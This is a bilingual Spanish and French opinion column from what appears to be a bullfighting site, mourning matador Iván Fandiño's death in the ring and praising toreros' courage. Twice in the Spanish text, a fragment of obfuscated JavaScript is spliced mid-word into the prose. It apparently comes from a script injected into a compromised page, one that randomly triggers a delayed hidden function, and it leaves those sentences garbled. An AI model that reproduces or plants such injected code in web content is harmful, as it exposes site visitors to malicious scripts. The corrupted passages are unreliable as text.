[:es]DE NUEVO, EL LUTO[:fr]DE NOUVEAU, LE DEUIL[:]

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Como un bombazo. Terminada la corrida de Las Ventas, me meto en el ordenador para ver el resultado de Roca Rey en Granada. Y allí estaba la noticia, brutal, pavorosa, ineludible, ocupando la primera plana en toda su dimensión: “Un toro mata a Iván Fandiño en Aire sur l’Adour.”
No se ha cumplido aún el año de la de Víctor Barrio, cuando la Dama de Negro ha querido llevarse a otro de los nuestros. El público sabe y los toreros asumen que cuando hay un toro en la plaza y un hombre está delante de él, la muerte siempre anda revoloteando por la escena dispuesta a aprovechar la menor oportunidad para poner sus huevos en la herida. Unos y otros son conscientes de que no hay retórica alguna cuando se dice que en el toreo se muere de verdad. Sin embargo, nadie puede evitar el aturdimiento del asombro, la sorpresa infinita, el dolor más profundo, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando se da de cara con la muerte torera.
El pasado sábado ocurrió otra vez. Y otra vez se nos tiñó de luto la mirada y de congoja el corazón. Hay algo en toda muerte que la vida se niega a aceptar, que la vida rechaza, como si fuera incomprensible ese tránsito de la insaciable actividad vital al inmóvil silencio de la nada. Pero por mucho que nos cueste aceptarlo, no hay existencia que no acabe por hundirse en esa soledad sin posible frontera que pone término a lo que antes fueron sonrisas, anhelos, sufrimientos, proyectos, alegrías y reveses. Todo desaparece engullido por el sumidero de la muerte, ya sea uno un anciano con las alforjas cargadas de vivencias o un joven héroe capaz de poner cada día la vida en el platillo de la balanza, como le ocurría a Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño.
¿Quién podía imaginar que “Provechito”, marcado con el hierro de Baltasar Ibán, cuyo número 53 no había salido siquiera en la bolita del torero de Orduña, pues le había correspondido a Juan del Álamo, iba a firmar con su asta derecha el fin de la historia del torero vasco?… En principio, nadie. Pero el destino empieza a jugar sus bazas y pone a Iván a hacer el quite por chicuelinas, y “Provechito” que lo encuna en la segunda de ellas, y el capote que se relía en su cuerpo, y el toro que hace por el torero ando ya está en tierra, y lo alza del suelo enganchándolo por el costado diestro, y la muerte que invisible se le cuela por el agujero de la cornada, y Néstor que se queda sin amigo y torero, y la cuadrilla que se queda sin maestro, y todo el toreo que se queda petrificado en pena.
Escrito está con letras de oro en la primera página de la ética taurina que, para tener derecho a matar al toro, hay que darle oportunidad de que te mate. Así de duro, porque estas cosas pasan como lo manifiesta la muerte de Fandiño, y así de grandioso, como lo demostraron los cientos de hombres que, al día siguiente de la tragedia, volvieron a cruzar un ruedo enfundados en sus trajes de luces, con brazaletes de duelo en el corazón –anteponiendo sus sueños toreros al instinto de conservación tan golpeado por la muerte del rival, amigo y compañero–, para volver a ponerse delante del toro; de ese toro que te puede mandar al cielo o al infierno, que te puede elevar a las estrellas o hundirte en esa negritud de donde no se vuelve. Hay que tener un temple muy especial para sobreponerse a tantas circunstancias y volver a enfrentarse al destino que el toro representa con el ánimo limpio y la ilusión intacta. Hay que tener lo que en su “Ética a Nicómaco, Aristóteles llama “andreia”; esto es: hombría, la capacidad de mantener la entereza en situaciones que nos inspiran miedo. Eso hacen los toreros. Ante ellos me descubro. Iván Fandiño, desde el puesto que ocupe en la historia, también se sentirá orgulloso de ellos.

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Comme une bombe. Finie la corrida de Las Ventas, je regarde l’ordinateur pour voir le résultat de Roca Rey à Grenade. Et la nouvelle était là, brutale, effrayante, inévitable, elle occupait tout l’écran : « un toro tue Iván Fandiño à Aire sur l’Adour ».
À peine un an après que la Dame en Noir ait emporté Victor Barrio elle a voulu en prendre encore un des nôtres. Le public sait et les toreros l’ont assumé que lorsqu’il y a un toro dans l’arène et un toro prêt à l’affronter, la mort tourne autour de la scène prête à profiter de la moindre opportunité pour arriver à ses fins. Les uns et les autres sont conscients qu’il n’existe aucune rhétorique quand l’on dit que dans la corrida on meurt pour de vrai. Cependant personne ne peut éviter de ressentir la stupéfaction, la surprise infinie, la douleur la plus profonde à la mort d’un torero.
Samedi dernier c’est arrivé une nouvelle fois. Et encore une fois notre regard s’est teint de deuil et notre cœur d’angoisse. Il y a dans toute mort quelque chose que la vie refuse d’accepter, comme si ce transit de l’insatiable activité au silence immobile du néant était incompréhensible. Mais même si c’est dur de l’accepter, il n’y a pas d’existence qui n’aboutisse à cette solitude sans frontière mettant un terme à ce qui furent auparavant des sourires, des désirs, des souffrances, des projets, des joies et des revers. Tout disparaît par cette bouche d’égout qu’est la mort, que l’on soit un vieil homme chargé de souvenirs ou un jeune héros capable chaque jour de mettre sa vie en jeu, comme c’était le cas de Fandiño.
Qui pouvait imaginer que « Provechito », marqué du fer de Baltasar Ibán, dont le numéro 53 n’avait même pas été tiré au sort par le torero d’Orduña, car il avait correspondu à Juan del Alamo, allait signer avec sa corne droite la fin du torero Basque ?
En principe, personne. Mais le destin avait commencé à bouger ses pions et amène Iván à faire un quite par chicuelinas. « Provechito » l’attrape à la seconde d’entre elles et la cape se noue autour du corps, et le toro cherche l’homme à terre et le soulève en le cueillant du côté droit, et la mort invisible pénètre par le trou du coup de corne. Nestor, l’apoderado, a perdu son ami et son torero, et la cuadrilla son maestro, et toute la planète de la corrida est secouée.
Il écrit avec des lignes en or sur la première page de l’étique taurine que pour avoir le droit de tuer le toro il faut lui laisser sa chance de vous tuer. C’est ainsi, et cela arrive comme le prouve la mort de Fandiño, et c’est si grand, que le lendemain des centaines d’hommes l’ont démontré en foulant à nouveau l’arène portant leurs costumes de lumières, avec des bracelets de deuil au cœur –privilégiant leurs rêves de toreros à l’instinct de survie frappé par la mort d’un compétiteur, de l’ami et du partenaire- pour se mettre à nouveau devant le toro ; ce toro qui peut te projeter aux cieux ou à l’enfer, qui peut t’élever jusqu’aux étoiles ou te plonger dans le noir d’où l’on ne revient pas. Il faut avoir une maîtrise très particulière de soi pour dépasser tous ces aléas et se confronter à nouveau au destin que le toro incarne avec la tête dégagée et l’espoir intact. Il faut comme l’explique Aristote dans son « Ehtique à Nicomaque » de la virilité, cette capacité à avoir la tête froide devant des situations qui nous inspirent la peur. C’est ce que font les toreros. Chapeau bas. Iván Fandiño, d’où il est, doit sans doute, lui aussi, ressentir de la fierté.

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